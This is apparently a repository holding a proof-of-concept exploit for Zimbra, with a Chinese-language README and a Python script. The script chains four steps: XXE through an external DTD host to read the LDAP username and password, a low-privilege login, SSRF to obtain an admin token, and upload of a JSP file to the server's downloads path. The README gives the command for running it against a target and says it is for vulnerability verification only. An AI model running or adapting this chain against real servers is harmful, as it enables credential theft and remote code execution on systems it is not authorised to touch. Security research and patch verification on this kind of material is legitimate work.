├── README.md
└── zimbra.py
/README.md:
--------------------------------------------------------------------------------
1 | # Zimbra POC
2 |
3 | ## 用法
4 |
5 | 1. 需要自己在源代码中修改dtd_url为如下内容的dtd地址:
6 |
7 | ```xml
8 |
9 |
10 | ">
11 | ">
12 | ```
13 |
14 | 2. 使用方法:
15 |
16 | ```bash
17 | python zimbra_poc.py https://target.com
18 | ```
19 |
20 | 3. **POC仅供验证漏洞使用,请勿用于非法用途。**
21 |
22 | ## 参考资料
23 |
24 | 1. [《A Saga of Code Executions on Zimbra》](https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html)
25 |
26 | 2. [What Are XML External Entity (XXE) Attacks](https://www.acunetix.com/blog/articles/xml-external-entity-xxe-vulnerabilities/)
27 |
28 | 3. [漏洞预警 | Zimbra 远程代码执行漏洞](https://mp.weixin.qq.com/s?__biz=MzIwMDk1MjMyMg==&mid=2247484487&idx=1&sn=f2a8df3343cda9fb16f1dae0962e6dd4&chksm=96f41b2aa183923c08e3c4d1684baef02884d3097cdcd93dc0f656876bdfa7c6005b0c67db59)
29 |
30 | 4. [CVE-2013-7091 EXP](https://www.exploit-db.com/exploits/30472)
31 |
32 | 5. [Zimbra Soap API](https://files.zimbra.com/docs/soap_api/8.0.4/soap-docs-804/api-reference/index.html)
33 |
34 | 6. [《A Saga of Code Executions on Zimbra》RCE漏洞分析+复现过程](https://blog.csdn.net/fnmsd/article/details/88657083)
35 |
36 |
--------------------------------------------------------------------------------
/zimbra.py:
--------------------------------------------------------------------------------
1 | #coding=utf8
2 | import requests
3 | import sys
4 | from requests.packages.urllib3.exceptions import InsecureRequestWarning
5 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
6 | base_url=sys.argv[1]
7 |
8 | base_url=base_url.rstrip("/")
9 |
10 | #upload file name and content
11 | filename = "justatest.jsp"
12 | fileContent = r'<%out.println("justatest");%>'
13 | print(base_url)
14 |
15 | #dtd file url
16 | dtd_url="http://dtd.url/"
17 | """
18 |
19 |
20 | ">
21 | ">
22 | """
23 |
24 |
25 | xxe_data = r"""
27 | %dtd;
28 | %all;
29 | ]>
30 |
31 |
32 | aaaaa
33 | &fileContents;
34 |
35 | """.format(dtd=dtd_url)
36 |
37 | #XXE stage
38 | headers = {
39 | "Content-Type":"application/xml"
40 | }
41 | print("[*] Get User Name/Password By XXE ")
42 | r = requests.post(base_url+"/Autodiscover/Autodiscover.xml",data=xxe_data,headers=headers,verify=False,timeout=15)
43 | #print r.text
44 | if 'response schema not available' not in r.text:
45 | print("have no xxe")
46 | exit()
47 |
48 |
49 | #low_token Stage
50 | import re
51 | pattern_name = re.compile(r"<key name=(\"|")zimbra_user(\"|")>\n.*?<value>(.*?)<\/value>")
52 | pattern_password = re.compile(r"<key name=(\"|")zimbra_ldap_password(\"|")>\n.*?<value>(.*?)<\/value>")
53 | username = pattern_name.findall(r.text)[0][2]
54 | password = pattern_password.findall(r.text)[0][2]
55 | print(username)
56 | print(password)
57 |
58 | auth_body="""
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 | {username}
67 | {password}
68 |
69 |
70 |
71 | """
72 | print("[*] Get Low Privilege Auth Token")
73 | r=requests.post(base_url+"/service/soap",data=auth_body.format(xmlns="urn:zimbraAccount",username=username,password=password),verify=False)
74 |
75 | pattern_auth_token=re.compile(r"(.*?)")
76 |
77 | low_priv_token = pattern_auth_token.findall(r.text)[0]
78 |
79 | #print(low_priv_token)
80 |
81 |
82 | # SSRF+Get Admin_Token Stage
83 |
84 | headers["Cookie"]="ZM_ADMIN_AUTH_TOKEN="+low_priv_token+";"
85 | headers["Host"]="foo:7071"
86 | print("[*] Get Admin Auth Token By SSRF")
87 | r = requests.post(base_url+"/service/proxy?target=https://127.0.0.1:7071/service/admin/soap",data=auth_body.format(xmlns="urn:zimbraAdmin",username=username,password=password),headers=headers,verify=False)
88 |
89 | admin_token =pattern_auth_token.findall(r.text)[0]
90 | #print("ADMIN_TOKEN:"+admin_token)
91 |
92 | f = {
93 | 'filename1':(None,"whocare",None),
94 | 'clientFile':(filename,fileContent,"text/plain"),
95 | 'requestId':(None,"12",None),
96 | }
97 |
98 | headers ={
99 | "Cookie":"ZM_ADMIN_AUTH_TOKEN="+admin_token+";"
100 | }
101 | print("[*] Uploading file")
102 | r = requests.post(base_url+"/service/extension/clientUploader/upload",files=f,headers=headers,verify=False)
103 | print(r.text)
104 | print("Please vist "+base_url+"/downloads/"+filename)
105 | print("[*] Request Result:")
106 | s = requests.session()
107 | r = s.get(base_url+"/downloads/"+filename,verify=False,headers=headers)
108 | print(r.text)
109 | print("May need cookie:")
110 | print(headers['Cookie'])
111 |
--------------------------------------------------------------------------------